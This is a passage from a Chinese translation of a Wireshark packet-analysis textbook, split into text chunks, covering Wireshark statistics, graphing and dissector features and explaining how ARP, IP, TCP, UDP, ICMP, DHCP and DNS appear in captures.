端点和会话窗口在网络问题定位中十分重要，特别是当你试图找到网络中大规模流量的源头，或者找到哪台服务器最活跃。 举例来说，当你打开了 lotsofweb.pcap 文件之后，你可以看到多个客户端浏览互联网时产生的大量HTTP流量。如果你使用端点窗口进行查看，你可以立刻对你所查看的流量得出一些结论。 查看IPv4选项卡（如图5-4所示），你可以看到以字节数排序后的第一个地址是本地的172.16.16.128地址，也就是说你网络中的这个设备是数据集中最活跃的信息源（进行了最多通信的主机）。第二个地址74.125.103.163不是本地地址，也就意味着你可以假设你有一个客户端和这个地址进行了很多交互，或者多个客户端和它进行了一些交互。一个简便的WHOIS（ http://whois.arin.net/ui/ ）告诉你这个地址属于Google，仔细地分析了数据包之后可以发现这是YouTube的流量。 图5-4 端点窗口显示了哪个主机最活跃 注意 IP地址的分配是根据其地址信息由多个实体进行管理的。在我们的例子中，我们使用了负责美国（及周边地区）IP地址分配的美国互联网号码注册中心（American Registry for Internet Numbers, ARIN）的数据。一般来说，如果你想对某一个IP进行WHOIS查询，你在负责这个IP组织的网站上操作即可。如果你并不知道地理信息，并且在错误的注册中心网站上进行了查询，这个网站也会告诉你正确的查询位置。类似的地址注册中心有AfriNIC（非洲）、RIPE（欧洲）和APNIC（亚太地区）。 知道了这些信息，你最活跃的通信端点一定包含了流量最大的会话么？如果你这时打开了会话窗口，并选中IPv4选项卡，你就可以使用字节数对列表排序来验证这一点。在这个例子中，你可以看到这个流量应该是连续的视频下载流量，因为从地址A（74.125.103.163）发出的数据包比从地址B（172.16.16.128）发出的要大得多（如图5-5所示）。 图5-5 会话窗口中确定了最活跃的两个信息源是在相互通信 在此书后面的实战场景中，你还会看到如何使用端点和会话窗口。"},
    {"text": "Wireshark数据包分析实战(第2版) 5.2 基于协议分层结构的统计数据 当在与特别大的捕获文件打交道时，你有时会需要知道文件中协议的分布情况，也就是捕获中TCP、IP、DHCP等所占的百分比是多少。除了数每一个数据包并计算总和外，使用Wireshark的Protocol Hierarchy Statistics（协议分层统计）窗口也是一个对网络进行基准分析的好方法。举例来说，如果你知道网络流量中的ARP流量通常占百分之十，如果有一天你的捕获中发现了百分之五十的ARP流量，那么你就知道一定有地方出了问题。 保持lotsofweb.pcap文件打开，选择 Statistics->Protocol Hierarchy 打开协议分层统计窗口（如图5-6所示）。你应该会注意到所有比例加到一起并不是正好等于百分之百，那是因为很多数据包都包含着不同分层的多个协议，从而按照每个协议来计算相对于按照每个数据包来计算要有一些差异。无论如何，你还是得到了捕获文件中协议分布的准确情况。 图5-6 协议分层统计窗口给出了各种协议的分布统计情况 协议分层统计窗口通常是你在检查流量时最先打开的窗口之一。它确实能够提供给你一个网络中活动类型的直观快照。当你开始检查更多的流量时后，你最终将通过查看正在使用协议的分布情况，来得到网络中用户和设备的情况。只需要简单地查看网段中的流量，就可以立即分辨这个网段属于哪个部门。IT部门网段的流量中通常有管理协议，例如ICMP或者SNMP的数据，订单管理部门通常有着大量的SMTP流量，甚至我还可以在一些烦人实习生的网络区段内找到他们玩魔兽世界的流量。 Wireshark数据包分析实战(第2版) 5.3 名字解析 网络数据通过使用各种各样字母数字组成的寻址地址系统进行传输，但这些地址系统通常都因为太长或者太复杂而不容易记住，比如物理硬件地址00:16:CE:6E:8B:24。名字解析（也称为名字查询）就是一个协议用来将一个独特的地址转换到另一个的过程。举例来说，假如一个计算机有着物理的MAC地址00:16:CE:6E:8B:24，DNS和ARP协议可以让我们将其名字记作Marketing-2. domain.com。将易读的名字对应到这些费解的地址，我们就可以很容易地记住并分辨出来。 5.3.1 开启名字解析 如果想要开启名字解析，选择 Capture->Options ，打开Capture Options对话框。如图5-7所示，Wireshark中有3种类型的名字解析可用。 MAC地址解析（MAC name resolution）： 这种类型的名字解析使用ARP协议，试图将数据链路层MAC地址，例如00:09:5B:01:02:03，转换到网络层地址，例如10.100.12.1。如果这种转换尝试失败，Wireshark会使用程序目录中的ethers文件尝试进行转换。Wireshark最后的手段便是将MAC地址的前3个字节转换到设备的IEEE指定制造商名称，例如Netgear_01:02:03。 网络名字解析（Network name resolution）： 这种类型的名字解析试图将一个网络层地址，例如192.168.1.50这个IP地址，转换到一个易读的DNS名称，例如MarketingPC1.domain.com。 传输名字解析（Transport name resolution）： 这种类型的名字解析尝试将一个端口号转换成一个与其相关的名字。例是将端口80显示为http。 图5-7 在Capture Options对话框中开启名字解析 你可以利用各种名字解析工具使你的捕获文件变得更加可读，从而在一些情况下节省大量时间。举例来说，你可以使用DNS名字解析，使你能够更容易地分辨你试图定位数据包来源的计算机名称。 5.3.2 名字解析的潜在弊端 名字解析有着很多优点，使用名字解析看上去很容易，但是也存在着一些潜在的弊端，包括如下几点。 名字解析可能会失败，尤其是当你所查询的名字服务器不知道这个名字的时候。 名字解析在你每次打开一个捕获文件的时候都要重新进行一次，因为这些信息并不会保存在文件之中。这也就意味着当一个文件名字解析所使用服务器不可用的时候，名字解析就会失败。 对DNS名字解析的依赖，会产生额外的数据包，也就是说你的捕获文件中可能会被解析那些基于DNS地址的流量所占据。而在分析其他问题的时候，避免看到自己的流量是一个典型规则。 名字解析会带来额外的处理开销。如果你正在处理一个非常大的捕获文件，而内存很少的时候，你可能需要关闭名字解析来节约系统资源。"},
    {"text": "Wireshark数据包分析实战(第2版) 5.4 协议解析 Wireshark中的协议解析器可以让你将数据包拆分成多个协议区段以便分析。举例来说，Wireshark的ICMP协议解析器可能将捕获网络上的原始数据，并以ICMP数据包格式显示出来。 你可以将一个解析器看作是一个网络原始数据流和Wireshark程序之间的翻译器。如果需要Wireshark支持某一个协议，那么它就必须拥有一个内置的解析器（或者你可以使用C或者Python自己写一个）。 Wireshark对每一个数据包都会使用多个解析器一起进行协议解析，也可以通过使用它内部的编写逻辑来进行合理猜测，决定使用哪一种协议解析器。 5.4.1 更换解析器 Wireshark在给一个数据包选择解析器时也并不是每次都能选对的，尤其是当网络上的一个协议使用了不同于标准的配置，比如一个非默认端口（网络管理员通常会出于安全考虑，或者员工想要避开访问控制时进行设置）。这时我们可以更改Wireshark使用特定解析器的方式。 举例来说，打开wrongdissector.pcap这个捕获文件，可以注意到这个文件中包含了大量两台计算机之间的SSL通信。SSL是安全套接层协议（Secure Socket Layer protocol），用来在主机之间进行安全加密的传输。由于其保密性，所以大多数的正常情况下，在Wireshark中查看SSL流量不会产生有用的信息，但这里一定存在着一些问题。如果你单击其中的几个数据包，然后在Packet Bytes面板中仔细查看这几个数据包的内容，你会很快发现一些明文流量。事实上，如果你看第4个数据包，你会发现其中提到了FileZilla FTP服务器程序（FileZilla FTP server application），并且之后的几个数据包清晰地显示了对用户名和密码的请求与响应。 如果这真是SSL流量，你应该不会读到数据包中的任何数据，并且你也不会看到以明文传输的所有用户名和密码（如图5-8所示）。根据这些信息，我们可以推测出这应该是一个FTP流量而不是SSL流量，而导致错误选择解析器的原因应该是这个FTP流量使用了原本用作HTTPS（基于SSL的HTTP）标准端口的443端口。 图5-8 明文用户名和密码？这更像是FTP而不是SSL！ 为了解决这个问题，你可以强制Wireshark对这个数据包使用 FTP 协议解析器。这个过程被称为强制解码，需要按如下步骤操作。 1．右键单击其中一个SSL数据包，并选择 Decode As 。这时会弹出一个对话框，你便可以从中选择你想要使用的解析器。 2．在下拉菜单中选择 destination（443） ，并在Transport选项卡中选择 FTP ，以便让Wireshark使用FTP解析器对所有端口号为443的TCP流量进行解码（如图5-9所示）。 图5-9 Decode As对话框可以让你创建强制解码器 3．在你选好之后单击 OK ，就可以立刻将所做修改应用到捕获文件中去。 你应该可以看到数据已经被很好地解码，这时你就可以从Packet List面板中对它进行分析，而不是对每一个字节下工夫。 警告 你进行强制解码时产生的更改，并不会在你保存捕获文件并关闭Wireshark后保存。在你每次打开捕获文件时，你都要重新进行强制解码的设置。 你可以在同一个捕获文件中多次使用强制解码功能。当你进行了多次解码之后可能会忘了进行过的操作，但Wireshark不会。在Decode As对话框中单击Show Current按钮，可以显示到目前为止你所有进行过的强制解码操作（如图5-10所示）。你可通过单击Clear按钮把它们清除。 图5-10 单击Show Current按钮将会显示你为一个捕获文件设置的所有强制解码操作 5.4.2 查看解析器源代码 开源软件的美妙之处就在于：如果你对某些事情为什么会发生感到困惑，你可以直接查看源代码来找到具体原因。当你想查明为什么一个特定的协议没有被正确解析的时候，开源软件就派上用场了。 在Wireshark网站上的Develop链接中，单击Browse the Code，就可以直接查看协议解析器的源代码。这个链接直接指向Wireshark的代码库，里面有Wireshark的最新及之前的版本。单击releases文件夹，便能看见所有官方的Wireshark（甚至包括Ethereal）版本，其中最新版本将在最下面显示出来。在你选择了你想要查看的版本之后，在epan/dissectors文件夹下可以找到协议解析器。每一个解析器都以packets-protocolname.c（数据包-协议名称.c）的形式命名。 这些文件可能会很复杂，但你应该可以发现它们遵循着同一个标准模板并有着很好的注释。你并不需要成为一个C语言专家就可以理解每一个解析器的基本功能。如果你想深入理解你在Wireshark中所看到的东西，我强烈建议你至少看一些简单协议的解析器。"},
    {"text": "Wireshark数据包分析实战(第2版) 5.5 跟踪TCP流 Wireshark分析功能中最令人满意的一点就是它能够将TCP流重组成容易阅读的格式。跟踪TCP流这个功能可以将从客户端发往服务器的数据排好顺序使之容易查看，而不需要一小块一小块地看。这在查看HTTP、FTP等纯文本应用层协议时非常好用（我们将在下一章中详细讲述这些常见协议是如何工作的）。 我们以一个简单的HTTP交互举例来说，打开http_google.pcap，并在文件中单击任何一个TCP或者HTTP数据包，右键单击这个文件并选择 Follow TCP Stream 。这时TCP流就会在一个单独的窗口中显示出来（如图5-11所示）。 我们注意到这个窗口中的文字以两个颜色显示，其中红色用来标明从源地址前往目标地址的流量，而蓝色用来区分出相反方向也就是从目标地址到源地址的流量。这里颜色的标记以哪方先开始通信为准，在我们的例子中，客户端最先建立了到服务器的连接，所以显示为红色。 图5-11 跟踪TCP流窗口将通信内容以更简单可读的方式进行了重新组织 在这个TCP流中，你可以清晰地看到这两台主机之间进行的绝大多数通信。在这些通信开始的时候，最初是一个对Web根目录的GET请求，然后是来自服务器的一个用HTTP/1.1 200 OK表示请求成功的响应。在每一次客户端请求另一个文件以及服务器给予响应的时候，这个简单模式都会重复出现。你可以看到一个用户正在浏览谷歌首页，而事实上你和这个用户看到的别无二致，只不过是以更深入的形式去看。 在这个窗口中除了能够看到这些原始数据，你还可以在文本间进行搜索，将其保存成一个文件、打印，或者以ASCII码、EBCDIC、十六进制或者C数组的格式去查看。这些选项都可以在跟踪TCP流窗口的下面找到。 跟踪TCP流在你和一些协议打交道的时候，绝对是你的好帮手。 Wireshark数据包分析实战(第2版) 5.6 数据包长度 一个或一组数据包的大小可以告诉你很多情况。在正常情况下，一个以太网上的帧最大长度为1518字节，除去以太网、IP以及TCP头，还剩下1460字节以供应用层协议的头或者数据使用。基于此，我们可以通过一个捕获文件中数据包长度的分布情况，做一些对流量合理的猜测。 文件download-slow.pcap就是一个很好的例子。打开文件后，选择 Statistics-> Packet Lengths ，然后单击 Create Stat ，就会出现一个如图5-12所示的结果窗口。 图5-12 数据包长度窗口帮助你对捕获文件中的流量进行合理的猜测 我在大小为1280～2559字节的数据包统计数据区域标了高亮。这些较大的数据包通常是用于传输数据，而较小的数据包则是协议控制序列。在这个例子中，我们看到较大的数据包占了相当大的比重（66.43%）。即使不看这个文件中的数据包，我们仍然可以知道捕获中包含了一个或多个数据传输流量。这可能是HTTP下载、FTP上传，或者其他类型在主机之间进行数据传输的网络通信。 大多数剩下的数据包（33.44%）都是在40～79字节之间，而处于这个范围的数据包通常不包含数据的TCP控制数据包。我们可以想一下协议头一般的大小。以太网头是14字节（包含4字节CRC），IP头最小20字节，没有数据以及选项的TCP数据包也是20字节，也就意味着典型的TCP控制数据包——例如TCP、ACK、RST和FIN数据包——大约是54字节并落入了这个区域。当然IP或TCP的额外选项会增加这个大小。 查看数据包长度是一个概览捕获文件的好方法。如果存在着很多较大的数据包，那么很大的可能便是进行了数据传输。如果绝大多数的数据包都很小，我们便可以假设这个捕获中存在协议控制命令，而没有传输大规模的数据。尽管这不是一个必需的操作，但在深入分析前做一些类似的假设，有时还是很保险的。"},
    {"text": "Wireshark数据包分析实战(第2版) 5.7 图形展示 图形是分析工作中必不可少的一部分，并且也是得到一个数据集概览的最好方法。Wireshark中有一些不同的图形展示功能帮助你更好地了解捕获数据，首先介绍IO图形化功能。 5.7.1 查看IO图 Wireshark的IO图窗口可以让你对网络上的吞吐量进行绘图。你可以利用这些图，找到数据吞吐的峰值，找出不同协议中的性能时滞，以及用来比较实时数据流。 打开download-fast.pcap，单击任意一个TCP数据包将其高亮显示，然后选择 Statistics->IO Graphs 就可以看到一台电脑从互联网下载文件时IO图的例子。 这个IO图窗口显示了捕获文件过程中数据流的一个图形化视图。在图5-13的例子中，IO图显示了下载量，每个周期大约有500个数据包，在其过程中基本上保持不变，并在最后逐渐减少。 图5-13 快速下载的IO图基本上是稳定的 我们可以将它与一个较慢的下载过程做一个比较。不要关闭当前这个文件，然后另外再启动一个Wireshark并打开download-slow.pcap。打开这个下载过程的IO图，如图5-14所示，便可以看到其与之前的IO图大为不同。 图5-14 慢速下载的IO图一点都不稳定 这个下载过程每秒传输的数据包在0～100个数据包之间，并且波动很大，其中甚至暂时接近每秒0个数据包。如果你将这两个捕获文件的IO并排放置，你就能更清楚地看到这些波动（如图5-15所示）。 图5-15 并排查看多个IO图有助于发现它们之间的差异 你应该可以注意到这个窗口的下面有一些配置选项。你可以创建5个不同的过滤器（使用与将在第6章和第7章介绍的显示或者捕获过滤器相同的语法），并为这些过滤器指定显示的颜色。比如你可以创建只显示ARP和DHCP流量的过滤器，并让这些线在图上分别以红色和蓝色显示。这样你可以更加容易分辨出这两种类型的吞吐趋势。 5.7.2 双向时间图 Wireshark中的另一个绘图功能就是对给定捕获文件进行双向时间绘图。双向时间（round-trip time, RTT）就是确认一个数据包已被成功接收所需的时间。解释得更清楚一点就是，双向时间就是你的数据包抵达目的地和这个数据包抵达所发送的确认返回到你的时间之和。对双向时间的分析通常被用来找到通信中的慢点或者瓶颈，以确定是否存在延迟。 我们来试一试这个功能吧。打开download-fast.pcap这个文件，选择一个TCP数据包，然后选择 Statistics->TCP Stram Graph->Round Trip Time Graph ，查看双向时间图。这个双向时间图如图5-16所示。 图5-16 这个下载的RTT图除了一些偏离值之外大体上还是保持稳定的 这个图中的每一个点都代表了一个数据包的双向时间。在默认情况下，这些值按照其序列号排序。你可以单击这个图中的任何一个点，并将在Packet List面板中看到相应的数据包。 看上去这个快速下载过程双向时间图中的双向时间大多都在0.05s以下，并有一些较慢的点位于0.10～0.25s之间。尽管存在少量的值超出了可以接受的范围，但大多数的双向时间还是可以的，所以对于文件下载来说，这个双向时间是可以接受的。 5.7.3 数据流图 数据流绘图功能对于将连接可视化，以及将一段时间中的数据流显示出来，非常有用。数据流图一般以列的方式将主机之间的连接显示出来，并将流量组织到一起，以便于你更直观地解读。 打开http_google.pcap，并选择 Statistics->Flow Graph ，便可以创建一个数据流图。你应该可以看到一个小对话框，其中有一些简单的选项对应所要处理的数据包以及数据流的类型。在这个例子中，使用默认设置即可，单击OK，便可以创建一个数据流图（如图5-17所示）。 图5-17 TCP流图可以让我们更好地看到整个连接"},
    {"text": "Wireshark数据包分析实战(第2版) 5.8 专家信息 Wireshark中每个协议的解析器都有一些专家信息，可以让你得到使用这个协议的数据包中一些特定状态的警告。这些状态可以分为4类。 对话： 关于通信的基本信息。 注意： 正常通信中的异常数据包。 警告： 不是正常通信中的异常数据包。 错误： 数据包中的错误，或者解析器解析时的错误。 举例来说，打开download-slow.pcap这个文件，然后单击 Analyze ，并选择 Expert Info Composite ，便可以打开这个捕获文件的专家信息窗口（如图5-18所示）。 图5-18 专家信息窗口给出了协议解析器中内置专家系统的信息 我们应该注意到这个窗口中每种类型的信息都有一个对应的选项卡，在这个例子中没有错误消息，有3个警告、18个注意以及3个对话。在选项卡上，括号之外的数字指的是这个类别中不同消息的数量，而括号中的数字是消息出现的总次数。 这个捕获文件中所有的信息都是与TCP有关的，因为至本书截稿时，专家信息系统还没有在其他的协议中实现。目前，总共为TCP配置了14种专家信息消息，并且这些消息在解决捕获文件的问题时非常有用。这些信息可以在满足如下条件的时候对数据包进行标记。 对话消息 窗口更新 由接收者发送，用来通知发送者TCP接收窗口的大小已被改变。 注意消息 TCP重传输 数据包丢失的结果。发生在收到重复的ACK，或者数据包的重传输计时器超时的时候。 重复ACK 当一台主机没有收到下一个期望序列号的数据包时，它会生成最近收到一次数据的重复ACK。 零窗口探查 在一个零窗口包被发送之后，用来监视TCP接收窗口的状态（将在第9章中介绍）。 保活ACK 用来响应保活数据包。 零窗口探查ACK 用来响应零窗口探查数据包。 窗口已满 用来通知传输主机其接收者的TCP接收窗口已满。 警告信息 上一段丢失 指明数据包丢失。发生在当数据流中一个期望的序列号被跳过时。 收到丢失数据包的ACK 发生在当一个数据包已经确认丢失但收到了其ACK数据包时。 保活 当一个连接的保活数据包出现时触发。 零窗口 当接收方已经达到TCP接收窗口大小时，发出一个零窗口通知，要求发送方停止传输数据。 乱序 当数据包被乱序接收时，会利用序列号进行检测。 快速重传输 一次重传会在收到一个重复ACK的20毫秒内进行。 错误消息 无错误消息 关于这些消息的意义，我们会在第6章中学习TCP以及第9章检测慢速网络问题时了解到。 尽管这章中介绍的一些功能看上去只有在一些冷僻的情况下用到，你可能会发现它们比你想象中使用得要多。你需要熟悉这些窗口和选项，因为我会在之后的几个章节中频繁地提到它们。 Wireshark数据包分析实战(第2版) 第6章 通用底层网络协议 无论是处理延迟问题，还是甄别存在错误的应用，抑或对安全威胁进行聚焦检查，都是为了发现异常的流量，而你必须首先了解正常的流量。在下面的几章中，你将会学到正常的网络流量在数据包级别是如何工作的。 我们将介绍最常见的几种协议，包括最基础的TCP、UDP和IP，以及如HTTP、DHCP、DNS等最常用的应用层协议。在每个协议的相关部分，都会至少有一个捕获文件供你下载，并可以让你直接上手分析。在这一章中，我们将着重关注在OSI分层模型中从第1层到第4层的底层协议。 这应该是这本书中最重要的几章。如果跳过了这些内容，你会感到如同周末晚餐中没有牛角面包那样不完整，即使你对每个协议是如何工作的都了然于胸，那也请至少快速浏览一遍，以便复习每个协议数据包的结构。"},
    {"text": "你所用来创建这个通信的应用已经得到了这个远程主机的IP地址（通过DNS服务，这将在第7章中介绍），也意味着系统已经拥有了用来构建它想要在第3层到第7层中传递的数据包所有需要的信息。"},
    {"text": "如果目标的MAC地址是未知的，这个传输设备会首先在它的缓存中查找这个地址，如果没有找到，那么这个地址就需要在网络上额外的通信来进行解析了。"},
    {"text": "这个协议在RFC826中进行了定义，它的解析过程只使用两种数据包：一个ARP请求与一个ARP响应，如图6-1所示。 图6-1 ARP解析过程 注意 RFC（Request for Comments）是定义协议实现标准的官方文档。"},
    {"text": "这个传输计算机会发出一个ARP请求，基本上就是问“大家好，我的IP地址是XX.XX.XX.XX，MAC地址是XX:XX:XX:XX:XX:XX。 我需要向那个IP地址是XX.XX.XX.XX的家伙发些东西，但我不知道它的硬件地址，你们谁有这个IP地址的，可否请回复给我你的MAC地址？"},
    {"text": "不是这个IP地址的设备将简单地丢弃这个数据包，而拥有这个IP地址的设备将发送一个ARP响应，就像是说：“你好，传输设备，我就是你所找的那个拥有IP地址为XX.XX.XX.XX的，我的MAC地址是XX:XX:XX:XX:XX:XX。"},
    {"text": "6.1.3 数据包2：ARP响应 在我们对最初请求的响应中（如图6-4所示），第一个数据包中的源MAC地址成为了这个以太网头中的目的地址。"},
    {"text": "为了防止造成通信错误，无偿的ARP请求会被发送到网络中，强制所有收到它的设备去用新的IP和MAC地址映射更新缓存（如图6-5所示）。 图6-5 无偿ARP工作过程 几个不同的情形都会产生无偿ARP数据包，其中一个最常见的就是IP地址的改变。"},
    {"text": "在复杂的网络中，可能会包含成千上万的局域网，而这些局域网是由世界各地成千上万的路由器连接起来的。 互联网本身就是由无数局域网和路由器所组成的一个集合。"},
    {"text": "由于让人记住一串32位长的01字符确实比较困难，所以IP地址采用点分四组的表示法。 在点分四组表示法中，以A.B.C.D的形式，构成IP地址的四组1和0分别转换为十进制0到255之间的数（如图6-7所示）。 我们拿这样一个IP地址11000000 10101000 00000000 00000001举例来说，这个值显然不容易记忆或者表示，但如果采用点分四组的表示法，我们就可以将其表示为192.168.0.1。 图6-7 IPv4地址的点分四组表示法 IP地址之所以会被分成4个单独的部分，是因为每个IP地址都包含着两个部分：网络地址和主机地址。"},
    {"text": "这实际上是由另一组名为网络掩码（netmask, network mask）的地址信息所决定的，有时它也会被称为子网掩码（subnet mask）。 网络掩码用来标识IP地址中究竟哪一部分属于网络地址而哪一部分属于主机地址。 网络掩码也是32位长，并且被设为1的每一位都标识着IP地址的对应部分是属于网络地址的，而剩下设为0的部分则标识着主机地址。"},
    {"text": "这意味着IP地址的前一半（10.10或者00001010 00001010）是网络地址，而后一半（1.22或者00000001 00010110）标识着这个网络上的主机，如图6-8所示。"},
    {"text": "TTL在数据包被创建时就会被定义，而且通常在每次被发往一个路由器的时候减1。 举例来说，如果一个数据包的存活时间是2，那么当它到达第一个路由器的时候，其TTL会被减为1，并会被发向第二个路由。 这个路由接着会将TTL减为0，这时如果这个数据包的最终目的地不在这个网络中，那么这个数据包就会被丢弃，如图6-10所示。 由于TTL的值在技术上还是基于时间的，一个非常繁忙的路由器可能会将TTL的值减去不止1，但通常情况下，我们还是可以认为一个路由设备在多数情况下只会将TTL的值减去1。 图6-10 数据包的TTL在每次经过一个路由器的时候减少 为什么TTL的值会这样重要？"},
    {"text": "在这个数据包的路径上，它可能会碰到被错误配置的路由器，而失去其到达最终目的地的路径。 在这种情况下，这个路由器可能会做很多事情，其中一件就是将数据包发向一个网络，而产生一个死循环。"},
    {"text": "一个数据包的分片主要基于第2层数据链路协议所使用的最大传输单元（Maximum Transmission Unit, MTU）的大小，以及使用这些第2层协议的设备配置情况。"},
    {"text": "当一个设备准备传输一个IP数据包时，它将会比较这个数据包的大小，以及将要把这个数据包传送出去的网络接口MTU，用于决定是否需要将这个数据包分片。 如果数据包的大小大于MTU，那么这个数据包就会被分片。 将一个数据包分片包括下列的步骤。 1．设备将数据分为若干个可成功进行传输的数据包。"},
    {"text": "根据更多分片和分片偏移域，你可以断定这个数据包是分片数据包的一部分。 被分片的数据包要么有一个大于0的分片偏移，要么设定了更多分片的标志位。 在第一个数据包中，更多分片标志位被设定，意味着接收设备应该等待接收序列中的另一个数据包。 分片偏移被设为0，意味着这个数据包是这一系列分片中的第一个。"},
    {"text": "图6-13 更多分片和分片偏移值可以用来识别分片数据包 第二个数据包的IP头（如图6-14所示），同样被设定了更多分片的标志位，但在这里分片偏移的值是1480。"},
    {"text": "图6-14 分片偏移值会根据数据包的大小而增大 第三个数据包（如图6-15所示），并没有设定更多分片标志位，也就标志着整个数据流中的最后一个分片。"},
    {"text": "Wireshark数据包分析实战(第2版) 6.3 传输控制协议 传输控制协议（Transmission Control Protocol, TCP）的最终目的是为数据提供可靠的端到端传输。"},
    {"text": "一个总机操作员会监视着一个面板上的指示灯和插头，当指示灯亮起的时候，他就会连接这个呼叫者，问她想要和谁通话，然后插一根电缆将她和她的目的位置连接起来。"},
    {"text": "1024～65535是临时端口组（尽管一些操作系统对此有着不同的定义），当一个服务想在任意时间使用端口进行通信的时候，现代操作系统都会随机地选择一个源端口，让这个通信使用唯一源端口。"},
    {"text": "这个数据包从172.16.16.128发往212.58.226.142，它的源端口是属于临时端口组的2826（需要记住的是源端口是由操作系统随机选取的，尽管它们可能在随机选择的过程中会选择递增策略）。"},
    {"text": "图6-19 在反向通信中，源端口和目的端口进行了互换 注意 随着这本书的深入，你将会知道更多与通用协议和端口相关联的端口，并且最终可以通过端口来识别使用它们的服务和设备。"},
    {"text": "这个过程包含4个数据包，并且用一个FIN标志来表明连接的终结。 在一个终止序列中，主机A通过发送一个设置了FIN和ACK标志的TCP数据包，告诉主机B通信的完成。"},
    {"text": "在序列的第一个数据包（如图6-25所示），你可以看到位于67.228.110.120的设备通过发送有着FIN和ACK标志的数据包来开始终止过程。 图6-25 FIN/ACK包作为终止过程的开始 在这个数据包被发出去之后，172.16.16.128使用了一个ACK数据包进行响应来确认第一个数据包的接收，然后发送了一个FIN/ACK数据包。"},
    {"text": "这个主机并不知道192.168.100.1并没有在监听80端口，因为那是一个思科路由器，并且没有配置Web接口，也就是说，并没有服务监听80端口的连接。 为了响应这个连接请求，192.168.100.1向192.168.100.138发送了一个数据包，告诉它其对80端口的通信无效。"},
    {"text": "Wireshark数据包分析实战(第2版) 6.4 用户数据报协议 用户数据报协议（User Datagram Protocol, UDP）是在现代网络中最常使用的另外一种第4层协议。如果说TCP是为了满足带有内在错误检测的可靠数据传输，那么UDP主要是为了提供高速的传输。出于这个原因，UDP是一种尽力服务，通常会被称为无连接协议。一个无连接协议并不会正式地建立和结束主机之间的连接，也不会像TCP那样存在握手和终止过程。 无连接协议意味着不可靠服务，这将使得UDP流量一点都不稳定。事实上正是如此，但依赖于UDP的协议通常都会有其内置的可靠性服务，或者使用ICMP的一些功能来保证连接更可靠一些。举例来说，应用层协议DNS和DHCP需要高度依赖数据包在网络上传输的速度，其使用UDP作为它们的传输层协议，但是它们自己进行错误检查以及重传计时。 6.4.1 UDP头 UDP头比TCP头要小得多，也简单得多。如图6-27所示，以下是UDP头的域。 图6-27 UDP头 源端口 ：用来传输数据包的端口。 目标端口 ：数据包将要被传输到的端口。 数据包长度 ：数据包的字节长度。 校验和 ：用来确保UDP头和数据到达时的完整性。 文件udp_dnsrequest.pcap中包含有一个数据包，这个数据包是一个使用UDP的DNS请求。当你展开这个数据包的UDP头时，你可以看到4个域（如图6-28所示）。 图6-28 UDP数据包的内容非常简单 需要记住的是，UDP并不关心传输的可靠性，所以任何使用UDP的应用在必要的时候都需要采取特殊的步骤，以保证可靠的传输。"},
    {"text": "Wireshark数据包分析实战(第2版) 6.5 互联网控制消息协议 互联网控制消息协议（Internet Control Message Protocol, ICMP）是TCP/IP协议族中的一个效用协议，负责提供在TCP/IP网络上设备、服务以及路由器可用性的信息。"},
    {"text": "6.5.2 ICMP类型和消息 正如刚才所说，ICMP数据包的结构取决于它由 Type 和 Code 域中的值所定义的用途。 你可以将ICMP的类型域作为数据包的分类，而Code域作为它的子类。"},
    {"text": "但只有这个信息可能不足以发现问题，当如果数据包在Code域中指明值为3，也就是“端口不可达”时，你就可以知道这应该是你试图进行通信的端口的问题。"},
    {"text": "图6-30 使用ping命令测试可连接性 基本上来说，ping命令每次向一个设备发送一个数据包，并等待回复，以确定设备是否可连接，如图6-31所示。 图6-31 ping命令只包含两步 注意 尽管ping对于IT业必不可少，但当部署了基于主机的防火墙时，它的结果就可能具有欺骗性了。"},
    {"text": "图6-34 一个TTL值为1的ICMP echo请求数据包 乍看起来，这个数据包就是一个从192.168.100.138到4.2.2.1的简单echo请求，并且ICMP中的每一部分都与echo请求数据包相同。"},
    {"text": "图6-35 来自路径上第一个路由器的ICMP响应 这个ICMP数据包有时候被叫做双头包，因为这个ICMP的结尾部分包含了原先echo请求的IP头和ICMP数据的拷贝。"},
    {"text": "Wireshark数据包分析实战(第2版) 第7章 常见高层网络协议 在这一章中，我们将继续介绍一些协议的功能，以及如何在Wireshark中查看它们。我们将介绍3个最常见的高层协议（第7层）：DHCP、DNS和HTTP。"},
    {"text": "Wireshark数据包分析实战(第2版) 7.1 动态主机配置协议DHCP 在网络发展的早些时候，当一台设备想要在网络上通信，它需要被手动分 配一个地址。"},
    {"text": "客户端IP地址 （Client IP Address）：客户端的IP地址（由“你的”IP地址域派生）。 “你的”IP地址 （Your IP Address）：DHCP服务器提供的IP地址（最终成为客户端IP地址域的值）。 服务器IP地址 （Server IP Address）：DHCP服务器的IP地址。 网关IP地址 （Gateway IP Address）：网络默认网关的IP地址。"},
    {"text": "7.1.2 DHCP续租过程 DHCP最主要的任务就是在续租过程中向客户端分配IP地址。 续租过程在一个客户端和DHCP服务器之间进行，如文件dhcp_nolease_renewal.pcap中所示。 DHCP的续租过程通常被称为DORA过程，因为它使用了4种类型的DHCP数据包：发现（Discover）、提供（Offer）、请求（Request）和确认（Acknowledgement），如图7-2所示。"},
    {"text": "图7-2 DHCP的DORA过程 1．发现数据包 在你所看到的捕获文件中，第一个数据包是从0.0.0.0的68端口发向255.255.255.255的67端口。"},
    {"text": "图7-3 DHCP发现数据包 注意 由于Wireshark在处理DHCP时，仍然会引用BOOTP，所以你会在Packets Detail面板中看到Bootstrap Protocol，而不是DHCP。"},
    {"text": "2．提供数据包 这个文件中的第二个数据包在IP头中列出了可用的IP地址，显示这个数据包是从192.168.0.1前往192.168.0.10，如图7-4所示。"},
    {"text": "图7-5 DHCP请求数据包 4．确认数据包 这个过程的最后一步就是DHCP在确认数据包中给客户端发送其所请求的IP地址，并在其数据库中记录相关信息，如图7-6所示。 图7-6 DHCP确认数据包 这时客户端就有了一个IP地址，并且可以用它在网络上通信。"},
    {"text": "表7-1 DHCP消息类型** 类型号 消息类型 描述 1 发现 客户端用来定位可用的DHCP服务器 2 提供 服务器用来给客户端发送发现数据包的响应 3 请求 客户端用来请求服务器所提供的参数 4 拒绝 客户端向服务器指明数据包的无效参数 5 ACK 服务器向客户端发送所请求的配置参数 6 NAK 客户端向服务器拒绝其配置参数的请求 7 释放 客户端向服务器通过取消配置参数来取消租约 8 通知 当客户端已经有IP地址时客户端向服务器请求配置参数"},
    {"text": "期望递归（Recursion Desired, RD）： 当请求中设定了这个值，则说明DNS客户端在目标域名服务器不含有所请求信息的情况下，要求进行递归查询。 可用递归（Recursion Available, RA）： 当响应中设定了这个值，说明域名服务器支持递归查询。"},
